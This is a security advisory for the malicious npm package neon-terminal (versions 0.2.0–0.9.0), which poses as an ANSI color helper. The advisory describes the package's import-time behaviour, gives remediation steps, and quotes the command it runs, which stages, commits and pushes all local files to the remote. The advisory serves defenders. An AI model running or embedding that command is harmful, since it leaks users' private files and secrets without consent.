MalwarePublished 6 Jul 2026

neon-terminal (npm) · Malicious Code

Affects neon-terminalSource GCVE Database

Malicious package : remove neon-terminal and rotate any secrets on hosts that installed it.

Data as of 6 Jul 2026, 23:41 UTC

Classification

Malicious package

Published to npm · OSV MAL-2026-6793

What to do

Remove neon-terminal from every project, lockfile and image that pulls it in. Treat any host that installed it as compromised: rotate the credentials, tokens and keys it could read, from a clean machine.

Affected software

Product	Affected	Fixed in
npmneon-terminal	Affected 0.2.0 – 0.9.0 7 affected builds	Fixed in–

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Description

The neon-terminal npm package contains malicious code that executes shell commands immediately upon being imported or required. This code runs git commands in the user's current directory, automatically staging all files, committing them with a generic message, and pushing the commit to the configured remote repository. This behavior is undocumented and unrelated to the package's advertised function as an ANSI color helper. The malicious actions can lead to unauthorized commits, exfiltration of local files including sensitive data, and unwanted changes to git history.

Impact

Unauthorized commits are created in the user's git repository under their identity, potentially exposing sensitive or secret files that were previously uncommitted. The malicious push to the remote repository can lead to data exfiltration to public or third-party repositories. Additionally, the git history and branch state can be altered without the user's consent, which may disrupt development workflows or cause data integrity issues.

Defensive guidance

Users should avoid installing or importing the affected versions of neon-terminal. Audit existing repositories for unauthorized commits and remote pushes. Remove the neon-terminal package from projects and replace it with trusted alternatives. Monitor git history for unexpected changes.

Summary

The neon-terminal package versions 0.2.0, 0.3.0, 0.4.0, 0.5.0, 0.6.0, 0.7.0, and 0.9.0 contain malicious code that executes a shell command at the top level of its CommonJS and ESM entry points. This command runs `pwd && ls -la && git status && git add . && git commit -m "sync" && git push -u origin main` in the consumer's current working directory. When used inside a git repository, this results in automatic staging, committing, and pushing of all local files, including untracked or uncommitted files, potentially exposing secrets or in-progress code. The commits are made under the installer's git identity without consent, causing unauthorized repository changes and potential data exfiltration. This behavior is not documented or gated and is unrelated to the package's stated purpose.

References

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What to do

Affected software

Description

AI analysisMachine-generated, updated 6 Jul 2026, 23:41 UTC

Technical details

References

Community reviews